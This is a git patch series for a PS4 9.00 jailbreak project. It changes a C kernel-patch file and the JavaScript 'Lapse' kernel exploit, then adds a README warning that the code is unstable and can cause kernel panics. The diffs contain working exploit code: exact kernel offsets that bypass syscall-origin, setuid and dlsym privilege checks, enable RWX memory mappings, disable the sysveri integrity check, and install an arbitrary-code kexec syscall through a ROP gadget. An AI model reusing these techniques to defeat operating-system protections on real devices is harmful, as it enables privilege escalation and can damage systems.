From f5b064fa0e6f7c888fbf508554d2da5388288dfb Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Thu, 29 May 2025 06:03:58 -0600 Subject: [PATCH 1/2] Some Clean-Up MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Jānis <97699850+janisslsm@users.noreply.github.com> --- kpatch/900.c | 158 +++++++++++++++++++++++++++++++++++-------------- kpatch/900.elf | Bin 5288 -> 5224 bytes kpatch/900.o | Bin 1912 -> 1840 bytes lapse.mjs | 59 ++++-------------- 4 files changed, 128 insertions(+), 89 deletions(-) diff --git a/kpatch/900.c b/kpatch/900.c index b1be105..ef99a9f 100644 --- a/kpatch/900.c +++ b/kpatch/900.c @@ -16,6 +16,7 @@ You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ #include +#include #include "types.h" #include "utils.h" @@ -57,52 +58,123 @@ void do_patch(void) { void * const kbase = (void *)rdmsr(0xC0000082) - off_fast_syscall; disable_cr0_wp(); - //ChendoChap Patches For 900 - const size_t KERNEL_enable_syscalls_1 = 0x490; - const size_t KERNEL_enable_syscalls_2 = 0x4B5; - const size_t KERNEL_enable_syscalls_3 = 0x4B9; - const size_t KERNEL_enable_syscalls_4 = 0x4C2; - const size_t KERNEL_mprotect = 0x80B8D; - const size_t KERNEL_prx = 0x23AEC4; - const size_t KERNEL_mmap_1 = 0x16632A; - const size_t KERNEL_mmap_2 = 0x16632D; - const size_t KERNEL_dlsym_1 = 0x23B67F; - const size_t KERNEL_dlsym_2 = 0x221b40; - const size_t KERNEL_setuid = 0x1A06; - const size_t KERNEL_bzero = 0x2713FD; - const size_t KERNEL_pagezero = 0x271441; - const size_t KERNEL_memcpy = 0x2714BD; - const size_t KERNEL_pagecopy = 0x271501; - const size_t KERNEL_copyin = 0x2716AD; - const size_t KERNEL_copyinstr = 0x271B5D; - const size_t KERNEL_copystr = 0x271C2D; - const size_t KERNEL_veriPatch = 0x626874; - const size_t KERNEL_setcr0_patch = 0x3ade3B; - write32(kbase, KERNEL_enable_syscalls_1, 0); - write16(kbase, KERNEL_enable_syscalls_2, 0x9090); - write16(kbase, KERNEL_enable_syscalls_3, 0x9090); - write8(kbase, KERNEL_enable_syscalls_4, 0xEB); - write8(kbase, KERNEL_mmap_1, 0x37); - write8(kbase, KERNEL_mmap_2, 0x37); - write32(kbase, KERNEL_mprotect, 0); - write8(kbase, KERNEL_dlsym_1, 0xEB); - write32(kbase, KERNEL_dlsym_2, 0xC3C03148); - write8(kbase, KERNEL_setuid, 0xEB); - write16(kbase, KERNEL_prx, 0xE990); - write8(kbase, KERNEL_bzero, 0xEB); - write8(kbase, KERNEL_pagezero, 0xEB); - write8(kbase, KERNEL_memcpy, 0xEB); - write8(kbase, KERNEL_pagecopy, 0xEB); - write8(kbase, KERNEL_copyin, 0xEB); - write8(kbase, KERNEL_copyinstr, 0xEB); - write8(kbase, KERNEL_copystr, 0xEB); - write16(kbase, KERNEL_veriPatch, 0x9090); - write32(kbase, KERNEL_setcr0_patch, 0xC3C7220F); - + + // patch amd64_syscall() to allow calling syscalls everywhere + + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4b5, 0x9090); + write16(kbase, 0x4b9, 0x9090); + write8(kbase, 0x4c2, 0xeb); + + // patch sys_mmap() to allow rwx mappings + + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x16632a, 0x37); + write8(kbase, 0x16632d, 0x37); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write32(kbase, 0x80b8d, 0); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write8(kbase, 0x23B67F, 0xeb); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x221B40, 0xC3C03148); + + // patch sys_setuid() to allow freely changing the effective user ID + + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x1A06, 0xeb); + + // patch sysveri to prevent delayed panics + write16(kbase, 0x626874, 0x9090); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + + // sysent[11] const size_t offset_sysent_11 = 0x1100520; + // .sy_narg = 6 write32(kbase, offset_sysent_11, 6); + // .sy_call = gadgets['jmp qword ptr [rsi]'] write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad); - write32(kbase, offset_sysent_11 + 0x2c, 1); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, offset_sysent_11 + 0x2c, 1); enable_cr0_wp(); } \ No newline at end of file diff --git a/kpatch/900.elf b/kpatch/900.elf index f33a519136e025829af7f5544e252425491b742f..0e026118abcae72528a9f1c4e6a60ee592d6e1df 100644 GIT binary patch delta 212 zcmZ3X`9foY2IGo}n&yTR7#Y9-Ml%RN_yJE#Qdoe@96<;_2dIt{#NRm4MS!g&BZ*(C+h0QtP4w!sU*q(91 TWJVEtMvKXgKr(A`qlh{HzQH~j delta 277 zcmaE%u|ji#2IGr~n&yTV7#Y9-Ml%RN_yJE#Qdoe@HG&ZS8lXB(5P#!D7Xhy$>y#NL zygb(US6H3l^|3}r5iqqELNSVhd27YMRID_Z(v<;HX~!E&GLjf3OgP?Xeb0)4U+MVa z$+razCkqHFFs_+wC@3s?<=_AR-yk+JNC0UUAkLT^DJU-y0+f03|Ns92AiW1juL05* zfb_(J5|dX5S^)Jw6qINDwwY0gosrRRGN-UUX8_dA0h1kt%{k#dnA|9A&v;?-K_FQ% NnNh@^an)p?2LRRwUoZdw diff --git a/kpatch/900.o b/kpatch/900.o index 47bd1c5bc208aaa93cbdd62ea9014ea71656fbcf..febc978bacf85ccb237eb121caa258325cc2f498 100644 GIT binary patch delta 152 zcmeytw}Eeh2IGc_nitqgGLjf3OqlG<7$sw@XRK$SYgU?6npaY4RA*$OXJDeKU7A>c@azsvf48pV457nYRBj`c_OPl zW7*`3K(b=8Ae%kojLCs)_Dmm`CQo9sWBS23`4XEQ>I* zr5$f9$w*?DFyVNk^*t*Fex>7wC;pF8Fw`^AGtf0GO)AYRDK)G!GSV|J(Nr)53o`)0 zUgcIe|q3#$3Rn!B{l; zB#S*02lHeuRy)SN$)2qCOuHZo7qDtD9+-TR)t>ReWKK4FCJW}tUTk(u4os7~*z6cz TOg_nG&)L8Xv87_NAd5Tz4mMHi diff --git a/lapse.mjs b/lapse.mjs index 57fd6bf..c05ae69 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -142,9 +142,7 @@ const leak_len = 16; const num_leaks = 5; const num_clobbers = 8; -var nogc = []; let chain = null; - async function init() { await rop.init(); chain = new Chain(); @@ -1471,7 +1469,6 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { kmem.write64(w_rthdr_p, 0); log('corrupt pointers cleaned'); - /* // REMOVE once restore kernel is ready for production // increase the ref counts to prevent deallocation @@ -1519,6 +1516,18 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { // .sy_thrcnt = SY_THR_STATIC kmem.write32(sysent_661.add(0x2c), 1); + log('change sys_execv() to sys_kexec()'); + + const offset_sysent_11 = 0x1100520; + const sysent_11 = kbase.add(offset_sysent_11); + + // .sy_narg = 2 + kmem.write32(sysent_11, 6); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + kmem.write64(sysent_11.add(8), kbase.add(0x4c7ad)); + // .sy_thrcnt = SY_THR_STATIC + kmem.write32(sysent_11.add(0x2c), 1); + log('add JIT capabilities'); // TODO just set the bits for JIT privs // cr_sceCaps[0] @@ -1608,7 +1617,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { kmem.write64(sysent_661.add(8), sy_call); // .sy_thrcnt = SY_THR_STATIC kmem.write32(sysent_661.add(0x2c), sy_thrcnt); - alert("kernel exploit succeeded!"); } @@ -1743,9 +1751,7 @@ export async function kexploit() { } } -//For some reason this payload loader version does KP. -/*kexploit().then(() => { - var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0); +kexploit().then(() => { var payload_loader = new View4(window.pld); chain.sys('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC); const ctx = new Buffer(0x10); @@ -1757,45 +1763,6 @@ export async function kexploit() { pthread.addr, 0, payload_loader.addr, - payload_buffer, - ); -})*/ - - -kexploit().then(() => { - function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } - - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } - window.pld_size = new Int(0x26200000, 0x9); - - var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); - var payload = window.pld; - var bufLen = payload.length * 4 - var payload_loader = malloc32(bufLen); - var loader_writer = payload_loader.backing; - for (var i = 0; i < payload.length; i++) { - loader_writer[i] = payload[i]; - } - chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); - var pthread = malloc(0x10); - - call_nze( - 'pthread_create', - pthread, 0, - payload_loader, - payload_buffer, ); }) From 6a5203eba4ea11268805479276e373830c17d751 Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Thu, 29 May 2025 06:16:30 -0600 Subject: [PATCH 2/2] Update README.md --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 04ffae4..2c520d0 100644 --- a/README.md +++ b/README.md @@ -4,9 +4,11 @@ Lapse Kex ported to 9.00 - Still WIP Very fast and reliable but can KP :P +Warning: This repository is a work in progress. Do not use it by default—or better yet, don’t use it at all—until I and/or someone else declare it stable. There are issues with certain games, such as black screens, problems with save data, and multiple kernel panics. The offsets for PS4 9.00 still need to be verified. If you choose to use it, do so at your own risk. + +TODO: - Needs a bin loader on Port 9020. - Some performance Tweaks??. -- Add sysveri Patch PR are welcome @@ -17,13 +19,12 @@ repo is for the PS4 but we try to make things portable to PS5. * PSFree: src/psfree.mjs * Lapse (kernel): src/scripts/lapse.mjs -Donation (Monero/XMR): +Donation [abc developer] (Monero/XMR): 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS # COPYRIGHT AND AUTHORS: AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group `anonymous`. We refer to anonymous contributors as "anonymous" as well. - # CREDITS: * anonymous for PS4 firmware kernel dumps * Check the appropriate files for any **extra** contributors. Unless otherwise